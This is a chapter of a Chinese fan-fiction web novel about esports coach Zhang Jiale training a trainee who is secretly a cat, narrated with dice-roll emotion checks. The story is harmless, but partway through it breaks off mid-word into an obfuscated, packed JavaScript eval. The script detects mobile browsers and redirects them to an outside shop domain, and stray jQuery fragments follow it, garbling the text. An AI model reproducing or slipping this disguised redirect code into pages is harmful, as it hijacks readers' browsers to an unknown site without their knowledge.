文趣网 > 都市小说 > [全职安科]折耳猫能有什么坏心思 > 4. 们花一对一辅导
    张佳乐已经盯着天花板看了两个小时。

    第五赛季总决赛的画面还在脑子里转。不是痛苦的回忆,就是……忘不掉。那种感觉像手指上的一道旧伤,不碰不疼,但总会在某个不经意的瞬间硌你一下。

    他翻了个身,拿起手机,又点开了赵咎发来的那几段录像。

    零度折痕的狂剑士。

    他不是第一次看了。但每看一次,那种说不清的感觉就多一分。不是怀念,不是痛苦——是胸口某个地方被轻轻碰了一下。

    他说不清那是什么。

    也许是不服。第五赛季输了,他不服。孙哲平退了,他也不服。但这个青训生的狂剑士——他在不服什么?不知道。

    他关了手机,闭上眼睛。脑子里浮现的不是录像,而是孙哲平坐在休息室里、右手缠着冰袋的样子。那天张佳乐想说点什么,但最后什么也没说。他不太会说那种话。

    “辛苦了。”太轻了。

    “好好养伤。”太敷衍了。

    他只是站在那里,看着孙哲平收拾东西,然后说了一句:“走了。”

    孙哲平抬头看了他一眼,点了点头。

    那就是他们的最后一面。

    张佳乐睁开眼,盯着黑暗中的天花板。

    骰娘们在虚空中看着这一切。

    “检定一下,张佳乐现在对零度折痕的情绪核心。1D10,1-3回避,4-6痛苦,7-9说不清的在意,10大成功/大失败。”

    出目:8

    “8——说不清的在意。”

    “那他会主动提出带她吗?”

    “再掷一个,1D100。”

    出目:84

    “84,会。”

    ——

    第二天,许思绝找张佳乐聊新赛季的准备。

    聊到最后,许思绝随口提了一句:“青训那边有个苗子,狂剑士,你看了赵咎发的录像吗?”

    张佳乐:“看了。”

    “怎么样?”

    “……还行。”

    许思绝看了他一眼。他知道“还行”这两个字从张佳乐嘴里说出来,分量不轻。

    “那你要不要带带她?线上就行,她身体不太好,暂时来不了基地。”

    张佳乐沉默了几秒。

    “行。”

    一个字。

    ——

    凌玲收到许思绝的通知时,正在用猫爪子挠机箱散热孔。

    “@零度折痕张佳乐选手将担任你的专项指导教练,他会通过线上方式联系你。请尽快添加他好友。”

    她的动作停住了。

    张佳乐。百花战队的张佳乐。两次总决赛亚军,孙哲平曾经的搭档。

    她的心跳快了起来。

    骰娘A:“检定情绪。1D100。”

    出目:86

    “86,又慌又期待。”

    凌玲打开QQ,搜索张佳乐提供的号码。

    头像是一朵粉色的小花。昵称是「百花缭乱」。

    她愣了一下,然后嘴角不自觉地弯了一下。好家伙,百花缭乱,用个小粉花。

    她点了添加好友。验证信息写的是“零度折痕”。

    对方很快通过了。

    「百花缭乱」:“你的录像我看了。”

    凌玲打字:“嗯嗯”

    “狂剑士打了多久?”

    “不到一年。”

    “左撇子?”

    “对呀”

    那边顿了一下。

    “键位改过吗?”

    “改过一点,可能改得不对”

    “今晚八点。来。” 附带一个YY频道号。

    凌玲回了个:“好嘞”

    骰娘A:“她今天话比之前多,还带语气词。”

    骰娘B:“紧张过头就变活泼了。猫应激的时候会喵喵叫。”

    ——

    晚上八点,凌玲准时进入YY频道。

    频道名:「训练室」。毫无创意。

    「百花缭乱」已经在里面了。他的声音从耳机里传出来——不算低沉,带着一点沙哑,语速不快。

    “开个自定义房间,打木桩。平时怎么打就怎么打。”

    凌玲照做。一套【崩山击】+【十字斩】+【怒气爆发】。三遍。

    张佳乐没说话。沉默了几秒。

    “第三秒的【十字斩】收招慢了。你自己感觉到了吗?”

    “嗯……有一点点。”

    “你是左撇子。你现在的键位是右手习惯的镜像,左手小指要跨过去按那个键。把【十字斩】换到左手食指方便按的位置。”

    “好,我试试。”

    凌玲改了键位,又打了一遍。

    快了。

    张佳乐:“嗯。再打几遍,变成肌肉记忆。”

    凌玲又打了十遍。每打一遍,她会在语音里小声嘀咕“好了”“再来”。

    张佳乐在那头安静地听着,偶尔有一个很轻的呼吸声。

    十遍之后,张佳乐说:“今天先到这。明天我让赵咎发几场比赛的录像给你,看看别人的狂剑士怎么打血量控制。”

    “好——谢谢乐乐哥!”

    说完,她自己愣了一下。

    张佳乐也顿了一下。

    “……你叫我什么?”

    “啊,就是……张佳乐选手的简称?不可以吗?”凌玲的声音有点心虚。

    那边沉默了一秒,然后传来一声很轻的笑。

    “随你。”

    然后他退了频道。

    凌玲坐在登录空间里,把脸埋进膝盖——虚拟的膝盖。

    骰娘A:“检定她的感受。1D100。”

    出目:82

    “82。她有点后悔,又有点高兴。后悔是因为叫得太随便了,高兴是因为他没生气。”

    ——

    训练持续了一周。

    每天晚上八点,凌玲登录YY。张佳乐不催她,她来了就开始了。有时候他会提前在频道里等着,不说话,就是挂着。

    凌玲不知道他在干嘛。也许在看别的东西,也许只是在发呆。

    有一天,训练结束后,张佳乐没有立刻退频道。

    凌玲听到他那头传来一声很轻的叹息。

    不是疲惫,也不是烦躁。就是——像胸口有什么东西,慢慢地呼出去了。

    凌玲犹豫了一下,还是开口了。

    “乐乐哥?”

    “嗯。”

    “你还好吗?”

    那边沉默了两秒。“没事。”

    又沉默了一秒。

    “你今天的血量控制比昨天好。但遇到老手的话,还是会被抓。明天继续。”

    “好。”

    “早点睡。”

    然后他退了。

    凌玲盯着频道里“用户已离开”的字样,发了一会儿呆。

    骰娘A:“检定她的反应。1D100。”

    出目:79

    “79,她很在意。但她不会追问。”

    “那她做了什么?”

    “她把今天的训练录像又看了一遍。不是看自己,是看张佳乐观战的那个视角——他的光标有时会在地图上停下来,像是在想事情。”

    “猫最擅长观察。”

    ——

    许思绝让凌玲提供一份病历证明。

    凌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680470|207666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    玲没有办法。她没有病,她是一只猫。她只能用视频通话蒙混过去——合成画面,白色中长发的少女坐在素色背景前,用软糯的声音说:“许经理,病历暂时不在身边,我会尽快补。”

    许思绝“嗯”了一声。但他的眼神里有一点不确定。

    凌玲感觉到了。

    她在下一次训练结束后问张佳乐:“乐乐哥,许经理是不是不太相信我?”

    张佳乐没问她为什么这么问。他只是说:“你把训练做好。其他的,等你能来基地再说。”

    凌玲:“如果我一直不能来呢?”

    张佳乐沉默了一会儿。

    “那就一直线上。”

    很平静。没有追问,没有怀疑。

    凌玲不知道的是,张佳乐说那句话的时候,想起了孙哲平。孙哲平最后那段时间,也是“不能来”的状态。

    他知道,有些人不是不想来,是真的来不了。

    骰娘A:“检定张佳乐的信任度。1D100。”

    出目:82

    “82。”

    “许思绝的怀疑值呢?”

    出目:57

    “57,不高不低。”

    ——

    张佳乐每周会让凌玲和不同的青训学员打练习赛,然后在赛后问她:“你觉得刚才那一下,还有没有别的选择?”

    凌玲想。有时候想得出来,有时候想不出来。

    想不出来的时候,张佳乐就说:“明天再想。不急。”

    进步很快。

    第一周:1D100 = 81 → “比上周稳了。

    第二周:1D100 = 70 → “你注意看录像里第3分17秒那里。”

    第三周:1D100 = 77 → “弹药配合还差点意思。”

    第四周:1D100 = 89 →张佳乐看完一场练习赛,沉默了一会儿。

    凌玲以为他要说什么问题。

    结果他说:“你现在打青训的那些,没什么问题了。”

    凌玲愣了一下:“……那打你呢?”

    张佳乐那边传来一声很轻的笑。

    “你还差得远。”

    凌玲不服气地嘀咕:“行吧行吧,乐乐哥最厉害。”

    张佳乐没说话,但也没有挂断。过了几秒,他说了一句:“进步比我预想的快。”

    然后退了。

    凌玲把这段语音录了下来。

    ——

    张佳乐不知道凌玲不在K市。

    不知道她没有病历。

    不知道她每次视频通话都是合成画面。

    不知道她每天晚上训练结束后,会把他说的“早点睡”“不急”“进步比我预想的快”反复听好几遍。

    他只知道,这个叫凌玲的青训生,进步很快,话不多但偶尔会冒出两句让人意外的称呼。

    他只知道,她让他想起了一些不想想起的事,但又不全是那些事。

    有些东西不一样。

    骰娘A:“检定凌玲对张佳乐的感情倾向。1D10。”

    出目:9

    “9——敬重+说不清的在意。”

    “她对孙哲平呢?”

    “还在。但那是远距离的。对张佳乐……是每天都能听到声音的。”

    “两个都在意?”

    “猫可以同时在意很多事情。”

    窗外,月光照在林医生的电脑机箱上。

    凌玲的猫身蜷缩在那里,尾巴卷在肚皮上,发出轻微的“咔嗒”声。

    而在登录空间里,那个白色中长发的少女正对着空气,轻声说了一句话。

    “乐乐哥,晚安。”